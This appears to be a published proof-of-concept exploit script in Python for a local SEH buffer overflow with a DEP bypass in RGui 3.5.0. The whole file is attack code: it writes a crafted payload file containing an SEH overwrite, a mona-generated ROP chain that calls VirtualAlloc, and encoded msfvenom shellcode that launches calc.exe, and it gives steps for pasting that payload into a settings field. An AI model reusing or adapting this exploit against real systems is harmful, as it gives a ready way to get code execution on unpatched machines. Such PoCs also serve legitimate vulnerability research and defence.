#!/usr/bin/python # # Exploit Author: bzyo # Twitter: @bzyo_ # Exploit Title: RGui 3.5.0 - Local Buffer Overflow (SEH)(DEP Bypass) # Date: 01-09-2018 # Vulnerable Software: RGui 3.5.0 # Vendor Homepage: https://www.r-project.org/ # Version: 3.5.0 # Software Link: https://cran.r-project.org/bin/windows/base/old/3.5.0/R-3.5.0-win.exe # Tested On: Windows 7 x86 # # lots of bad chars, use alpha_mixed # badchars \x00\x0a\x0d\x0e and \x80 through \xbf # # this was fixed in 3.5.1; # # PoC: # 1. generate rgui350dep.txt, copy contents to clipboard # 2. open app, select Edit, select 'GUI preferences' # 3. paste rgui350dep.txt contents into 'Language for menus and messages' # 4. select OK # 5. pop calc # import struct filename="rgui350dep.txt" junk = "A"*904 #{pivot 2556 / 0x9fc} # ADD ESP,9EC # POP EBX # POP ESI # POP EDI # POP EBP # RETN [Rgraphapp.dll] seh = struct.pack('<L',0x637561a2) #adjust nops = "\x90"*40 #ROP Chain for VirtualAlloc() #!mona rop -cpb "\x00\x0a\x0d\x0e" #rop chain generated with mona.py - www.corelan.be def create_rop_chain(): rop_gadgets = [ 0x6c931aaa, # POP EAX # RETN [R.dll] 0x6e759b5c, # ptr to &VirtualAlloc() [IAT R.dll] 0x6ff41ce5, # MOV EAX,DWORD PTR DS:[EAX] # RETN [grDevices.dll] 0x6c969986, # XCHG EAX,ESI # RETN [R.dll] 0x6c05596c, # POP EBP # RETN [Rlapack.dll] 0x6cb9bc4a, # & call esp [R.dll] 0x6c931b1a, # POP EAX # RETN [R.dll] 0xffffffff, # Value to negate, will become 0x00000001 0x63742b7f, # NEG EAX # RETN [Rgraphapp.dll] 0x63747d47, # XCHG EAX,EBX # RETN [Rgraphapp.dll] 0x63977f84, # POP EAX # RETN [graphics.dll] 0xa4e74b7d, # put delta into eax (-> put 0x00001000 into edx) 0x6c92e13a, # ADD EAX,5B18C483 # RETN [R.dll] 0x6c9f4bca, # XCHG EAX,EDX # RETN [R.dll] 0x713811b8, # POP ECX # RETN [stats.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x7136d670, # NEG ECX # RETN [stats.dll] 0x6cb2601a, # POP EDI # RETN [R.dll] 0x6375fe5c, # RETN (ROP NOP) [Rgraphapp.dll] 0x63976123, # POP EAX # RETN [graphics.dll] 0x90909090, # nop 0x6ff24de3, # PUSHAD # RETN [grDevices.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) rop_chain = create_rop_chain() #msfvenom -a x86 -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d\x0e" -e x86/alpha_mixed -f c #Payload size: 448 bytes calc = ("\x89\xe1\xd9\xf7\xd9\x71\xf4\x5b\x53\x59\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" "\x59\x6c\x5a\x48\x4c\x42\x77\x70\x53\x30\x45\x50\x35\x30\x6b" "\x39\x58\x65\x70\x31\x39\x50\x30\x64\x4c\x4b\x50\x50\x64\x70" "\x6e\x6b\x71\x42\x34\x4c\x4e\x6b\x71\x42\x37\x64\x6e\x6b\x62" "\x52\x56\x48\x36\x6f\x4c\x77\x61\x5a\x64\x66\x56\x51\x49\x6f" "\x6e\x4c\x45\x6c\x75\x31\x71\x6c\x53\x32\x66\x4c\x55\x70\x69" "\x51\x38\x4f\x44\x4d\x47\x71\x6a\x67\x78\x62\x6a\x52\x31\x42" "\x76\x37\x4e\x6b\x70\x52\x44\x50\x6e\x6b\x61\x5a\x47\x4c\x6c" "\x4b\x30\x4c\x34\x51\x71\x68\x4b\x53\x63\x78\x77\x71\x4b\x61" "\x63\x61\x4e\x6b\x63\x69\x35\x70\x56\x61\x4e\x33\x6e\x6b\x57" "\x39\x65\x48\x68\x63\x44\x7a\x37\x39\x6c\x4b\x46\x54\x6c\x4b" "\x47\x71\x7a\x76\x35\x61\x49\x6f\x4c\x6c\x7a\x61\x6a\x6f\x64" "\x4d\x55\x51\x4b\x77\x57\x48\x6b\x50\x74\x35\x69\x66\x65\x53" "\x31\x6d\x4a\x58\x77\x4b\x61\x6d\x51\x34\x61\x65\x6a\x44\x61" "\x48\x4e\x6b\x62\x78\x45\x74\x47\x71\x79\x43\x71\x76\x4c\x4b" "\x64\x4c\x72\x6b\x6c\x4b\x73\x68\x35\x4c\x43\x31\x6a\x73\x6e" "\x6b\x37\x74\x6e\x6b\x37\x71\x4e\x30\x4f\x79\x52\x64\x35\x74" "\x55\x74\x71\x4b\x51\x4b\x51\x71\x70\x59\x72\x7a\x53\x61\x6b" "\x4f\x59\x70\x73\x6f\x63\x6f\x72\x7a\x4c\x4b\x56\x72\x48\x6b" "\x6e\x6d\x31\x4d\x50\x6a\x55\x51\x6e\x6d\x4b\x35\x4f\x42\x73" "\x30\x65\x50\x55\x50\x42\x70\x72\x48\x70\x31\x4e\x6b\x42\x4f" "\x6c\x47\x6b\x4f\x4a\x75\x4d\x6b\x5a\x50\x48\x35\x6e\x42\x31" "\x46\x62\x48\x39\x36\x5a\x35\x6f\x4d\x6d\x4d\x4b\x4f\x79\x45" "\x45\x6c\x63\x36\x73\x4c\x45\x5a\x6b\x30\x59\x6b\x79\x70\x50" "\x75\x55\x55\x6d\x6b\x43\x77\x42\x33\x61\x62\x62\x4f\x33\x5a" "\x33\x30\x56\x33\x49\x6f\x49\x45\x43\x53\x53\x51\x72\x4c\x53" "\x53\x44\x6e\x65\x35\x64\x38\x43\x55\x67\x70\x41\x41") fill = "F"*6000 buffer = junk + seh + nops + rop_chain + nops + calc + fill textfile = open(filename , 'w') textfile.write(buffer) textfile.close()